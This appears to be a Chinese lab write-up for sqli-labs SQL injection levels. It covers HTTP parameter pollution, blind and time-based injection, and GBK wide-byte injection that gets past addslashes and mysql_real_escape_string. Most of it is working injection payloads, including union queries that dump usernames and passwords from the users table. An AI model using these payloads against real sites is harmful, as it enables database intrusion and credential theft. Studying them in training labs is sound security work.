赞
踩
服务器两层架构即不同的id值有不同的服务器来解读。
http参数污染:jsp/tomcat
使用getgetParameter("id")
获取到第一个值,php/apache
使用$_GET["id"]
获取的是第二个值,那么第一个id就是纯数字,第二个id的值注入就可以了。
测试发现闭方式为单引号
使用order by
查询字段,结果为3
使用联合注入,查看回显位置
?id=-1' union select 1,2,3--+
4. 查询数据库
?id=-1' union select 1,2,database()--+
5. 查询数据库中的表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
6. 查询表user
中的字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+
7. 查询字段中的值
?id=-1' union select 1,2,group_concat(Password) from security.users--+
8. 总结:没有任何的过滤
order by
字段测试,发现回显只有一种?id=-1" or left(database(),1)='s'--+ ?id=0' or 4=(select count(table_name) from information_schema.tables where table_schema=database());--+ //判断数据库中表的数量 ?id=1& if(left((select table_name from information_schema.tables where table_schema='security' limit 1,1 ), 1 )='u'--+ ?id=-1" || database() regexp 's'--+ ?id=-1" || substr(database(),1,1)='s'--+ ascil函数不太行,这题暂时不考虑ascil函数 ?id=1" and if(length(database())=8,1,sleep(10))--+ if函数可套用left或者substr函数或ascil函数 ?id=1&id=-2" union select 1,2,3--+ //联合注入,服务器的两层架构
本关的闭合方式为")
,其余与上一关相同,均使用盲注的思路。
首先测试闭合方式,发现无论闭合方式为什么,均被\
转义。
查看题目中的提示addslashes
函数
本道题发现依然需要使用盲注的思路,经过多次测试,发现也并不为数字型注入,闭合方式为单引号。由于单引号会被转义,将单引号使用url
编码为%27
。
在这里我们使用宽字节注入的思路。宽字节注入主要是采用GBK
编码。
原理:
mysql
在使用GBK
编码的时候,会认为两个字符为一个汉字,例如%aa%5c
就是一个汉字(前一个ascii
码大于128
才能到汉字的范围)。我们在过滤'
的时候,往往利用的思路是将'
转换为\'
。(\
的ascil
码是92
,换成十六进制为5c
,%5c
为url
编码。
)
%df
吃掉\
具体的原因是urlencode(‘) = %5c%27
,我们在%5c%27
前面添加%df
,形成%df%5c%27
,而上面提到的mysql
在GBK
编码方式的时候会将两个字节当做一个汉字,此%df%5c
就是一个汉字,%27
则作为一个单独的符号在外面,同时也就达到了我们的目的。
同理,%aa、%bb均可以使用。
?id=1%aa%27 order by 3--+
?id=-1%aa%27union select 1,2,database()--+
?id=-1%aa%27union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
?id=-1%aa%27union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+
?id=-1%aa%27union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users--+
addslashes()
函数参考上一关的相关博客分享。?id=-1%aa%27 union select 1,2,3--+ //联合注入
查看题目提示,与上一关的区别在于本关传参方式为post
。
uname=1%aa%27 union select 1,database()#&passwd=1&submit=Submit
查看题目提示本关为数字型注入,闭合处不需要考虑过滤转义,但联合注入查询库中表、字段、字段中的值时需要使用十六进制来表示。
查看题目提示中的mysql_real_escape_string()
函数
我们尝试前几关的宽字节注入方法,发现可行,且闭合方式为单引号,使用url
编码%27
。
题目提示,与上一关的区别在于本关传参方式为POST
,使用burp抓包尝试注入。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。